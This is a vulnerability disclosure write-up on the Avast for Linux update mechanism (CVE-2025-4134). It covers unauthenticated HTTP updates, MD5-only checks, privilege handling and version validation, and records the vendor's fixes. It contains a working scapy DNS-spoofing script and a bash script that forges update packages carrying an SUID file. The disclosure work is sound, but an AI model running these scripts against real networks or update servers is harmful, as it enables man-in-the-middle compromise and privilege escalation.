Pwning Antivirus: Avast for Linux and exploit in update mechanism

Avast for Linux Update Mechanism
1. Server Data Architecture
Avast Antivirus implements a distributed update system, combining full updates and delta updates to optimize time and network bandwidth. Specifically:
The vps9.lat
file serves as a global version index. The client uses this file to compare with the locally installed version to determine if an update is necessary.
The .inf
files contain information about checksums, the version to be updated, and specify whether to use a patch (.dif
) or a full update (.ful
).
Avast on the user's machine uses server information to automatically select the appropriate update method.
In cases where a patch cannot be applied or verification errors occur, the system switches to downloading .ful
, a compressed full database package.
For delta updates, Avast downloads .dif
, a binary patch representing the differences between versions. The bdiff
algorithm is used to process this patch.
2. Client Data Architecture
The update directory at /var/lib/avast/Setup/filedir
stores update data from the server.
vps9.lat
: Stores the current version of thevps9.raw
file.vps9.raw
: Used for delta updates. This is a compressed POSIX tar file containing signatures and the engine.Indeed, simply changing the
.raw
extension to.tar
allows the data to be extracted. The extracted data includes libraries and the Avast database.
The database directory at /var/lib/avast/defs/
stores the extracted database from the .raw
file, used by Avast's engine.
The
aswdefs.ini
file stores the version number of the current database.The database directory is named after the current version number.
In addition to Avast's signatures and libraries, the database directory contains two manifest files:
list_d.txt
andlist_i.txt
.These two files store information, including the list of files used by Avast and their checksums.
These checksums ensure the integrity of the manifest data, preventing tampering.
3. Update Logic Flow and Weaknesses
Avast uses the bash script /usr/lib/avast/vpsupdate
for updates. This script uses curl
and md5sum
to download and verify files. The update logic flow is as follows:
Updates are performed at the URL
https://linux-av.u.avcdn.net/linux-av/avast/x86_64/vps9/
. The program first checks the latest version on the server via thevps9.lat
file. Then, based on client conditions, it decides the update method.Download and update the database:
For a full update:
- Download the latest
.ful
database file. - Extract the
.raw
file (inside.ful
) to a temporary directory in/tmp/
. - Verify the MD5 of the
.raw
file against the manifest's MD5. If they match, move the.raw
and.lat
files to/var/lib/avast/Setup/filedir/
.
- Download the latest
For a patch update:
- Download one or more
.dif
files. - Use
bdiff
to patch the.raw
file in/var/lib/avast/Setup/filedir/
. - Verify the MD5 of the newly patched
.raw
file against the manifest's MD5. If they match, create a new.lat
file.
- Download one or more
Create a database directory at
/var/lib/avast/defs/<version_name>
. All data from the.raw
file is extracted and written to this new directory.Restart Avast using
/usr/lib/avast/submit --flush --quiet
.
The weaknesses in this logic are as follows:
Use of HTTP protocol for updates: This is an unauthenticated protocol. A threat actor could use DNS spoofing when on the same network to redirect the update process to an untrusted server.
Lack of database data verification: In steps 2 and 3, only MD5 is used. Applying the latest database data before verifying files (in the temporary directory) allows a threat actor to write arbitrary files to Avast’s database directory. This could include SUID files or a corrupted database, causing Avast’s protection system to fail.
In addition to the listed weaknesses, the complexity of the logic involving data processing between server and client, as well as interactions between the update service and system resources, introduces other vulnerabilities. These will be analyzed in more detail.
Weakness Details, Exploitation, and Patches
1. DNS Spoofing Attack on HTTP Protocol
The server URL is stored in /etc/avast/vps.conf
. By default, it uses the HTTP protocol:
Since HTTP is an unauthenticated protocol, a threat actor can perform ARP spoofing and DNS spoofing to redirect the update process to a server they control.
First, the threat actor uses the arpspoof
tool to redirect packets to their machine, intercepting DNS resolution requests to enable DNS spoofing.
Next, the threat actor uses the following Python script for DNS spoofing:
#!/usr/bin/env python3
from scapy.all import *
import sys
# Define the target IP address
iface = "wlo1"
victim_ip = "192.168.57.117" # Replace with the target machine IP
spoofed_domain = "linux-av.u.avcdn.net" # Domain you want to spoof
spoofed_ip = "192.168.57.192" # Fake IP address to redirect the target to
def dns_spoof(packet):
# Filter for DNS response
if packet.haslayer(DNS) and packet[DNS].qr == 0: # DNS query (qr=0 means a query)
# Check if the query is for the domain we want to spoof
if spoofed_domain in str(packet[DNS].qd.qname):
print(f"[*] Spoofing DNS response for {spoofed_domain}")
# Craft the spoofed DNS response
spoofed_response = IP(dst=packet[IP].src, src=packet[IP].dst) / \
UDP(dport=packet[UDP].sport, sport=packet[UDP].dport) / \
DNS(id=packet[DNS].id, qr=1, aa=1, qd=packet[DNS].qd,
an=DNSRR(rrname=packet[DNS].qd.qname, ttl=10, rdata=spoofed_ip))
# Send the spoofed DNS response
send(spoofed_response, verbose=0)
print(f"[+] Sent spoofed DNS response to {victim_ip} for {spoofed_domain} -> {spoofed_ip}")
# Start sniffing traffic and call dns_spoof on each packet
try:
print("[*] Starting DNS spoofing attack...")
sniff(filter=f"udp port 53 and ip src {victim_ip}", prn=dns_spoof, iface=iface)
except KeyboardInterrupt:
print("\n[!] Attack interrupted. Exiting...")
sys.exit(0)
`
The script’s output shows that the victim’s DNS resolution request has been spoofed by the threat actor.
Thus, the threat actor manipulates the client’s connection flow. By combining ARP spoofing and DNS spoofing, the data flow is redirected to a malicious server controlled by the hacker.
To address this weakness, Avast switched the default URL to HTTPS.
2. Spoofed Update Data Attack
As analyzed, steps 2 and 3 of the update process do not verify authenticity and integrity. Thus, as long as a compressed file with a valid structure is created, a threat actor can spoof the database and manipulate the update process. Possible impacts include:
Creating corrupted signatures, causing Avast’s engine to stop functioning.
Writing arbitrary files to
/var/lib/avast/defs/<version>/
. These could include malicious files or SUID files to facilitate privilege escalation.
To exploit this, the threat actor creates spoofed update data as follows:
Create malicious data.
Create a compressed
.ful
file and its manifest.Create a manifest for the
.raw
file.Create a manifest containing the new update version.
This process can be automated with the following bash script:
#!/bin/bash
NEW_VERSION=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
FAKE_DATA=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
DOC_ROOT="/var/www/html/linux-av/avast/x86_64/vps9/"
function rm_documentroot_files() {
rm -f /var/www/html/linux-av/avast/x86_64/vps9/*
}
function create_fake_update() {
mkdir -p /var/www/html/linux-av/avast/x86_64/vps9/
# create fake file of full update
echo $FAKE_DATA > hehe.txt
chmod 4755 hehe.txt
# Create zip file for .ful
tar -czf vps9${NEW_VERSION}.ful hehe.txt
# Create info file for metadata
## Get checksum from raw file
gunzip -c vps9${NEW_VERSION}.ful > tmp.raw
CKSUM_DATA=$(md5sum tmp.raw|cut -d " " -f 1)
# Create metadata and update file
echo "MD5=${CKSUM_DATA}" > ${DOC_ROOT}/vps9${NEW_VERSION}.inf
mv vps9${NEW_VERSION}.ful ${DOC_ROOT}/vps9${NEW_VERSION}.ful
}
function create_lat_file() {
# Create lat file
echo ${NEW_VERSION} > ${DOC_ROOT}/vps9.lat
}
function rm_tmp_file() {
# Remove template generated files
rm -f tmp.raw hehe.txt *.ful
}
rm_documentroot_files
create_fake_update
create_lat_file
rm_tmp_file
Running the script creates spoofed data, as shown below:
By combining with a Man-in-the-Middle attack, the vpsupdate
program updates from the hacker’s server.
The malicious file created by the threat actor retains SUID permissions when written to the victim’s machine.
Additionally, a database directory lacking necessary files or containing corrupted files will prevent Avast from functioning.
To fix this, the update program uses the /usr/bin/avast
binary to verify data (extracted to a temporary directory) before applying it.
Thus, the program terminates if problematic data is detected, instead of replacing old data with new.
Interestingly, during patch diff analysis, I discovered this feature was already present in older Avast versions but was not used due to developer oversight (until reported).
3. Update Process Runs with Unnecessary Privileges
During discussions with the vendor, I learned that Avast’s update process is executed by the avast
user. Indeed, the update program runs under a systemd timer with the avast
owner.
However, the demo ran the update script successfully with root
privileges, resulting in the new database having root
ownership.
Thus, if an administrator manually runs the update, two scenarios may occur:
The administrator logs in as
root
and performs the update.The administrator uses a
sudoers
account and runs the update withsudo
.
In both cases, the administrator mistakenly runs the update as root
instead of avast
(e.g., sudo -u avast /usr/lib/avast/vpsupdate
). This results in the database being owned by root
, leading to:
Avast likely failing to update new data, as the systemd unit (running as
avast
) cannot overwriteroot
-owned files.If exploited during a manual update, an SUID file would have
root
ownership, granting the malware the highest system privileges.
To address this, Avast checks the process owner and runs the script with lower privileges.
Note: This weakness was identified and fixed by the vendor. Detailed analysis was conducted after discussions with the vendor on April 30.
4. Failure to Verify Version Number Validity
As analyzed in step 3, the update process creates the directory /var/lib/avast/defs/<version_name>
and writes update data to it. The version_name
value is taken from the vps9.lat
file without validating its legitimacy.
Theoretically, a threat actor could exploit this to perform a path traversal attack combined with other vulnerabilities to write files to other system locations. If written to sensitive locations, malware could auto-execute via crontab or after a system reboot. However, the data processing uses the PACKAGE
variable to create paths in the temporary directory, always prefixing with vps9
. Special version values for path traversal would result in a path like ”vps9” + <path>
, which the system interprets as a non-existent vps9
directory, causing the program to error and stop.
Although this weakness is not exploitable, Avast mitigated it by validating version values, allowing only integer characters from 0 to 9.
Timeline
Q2/2023: Discovered attack surface.
August 2024: Conducted research and exploitation.
September 27, 2024: Submitted bug report to Avast via BugCrowd.
April 17, 2025: Discovered Avast v4.6 fixed the issue. Contacted Avast’s point of contact.
April 30, 2025: Avast confirmed the issue.
May 28, 2025: Issue disclosed with the code CVE-2025-4134.
Subscribe to my newsletter
Read articles from Nông Hoàng Tú directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
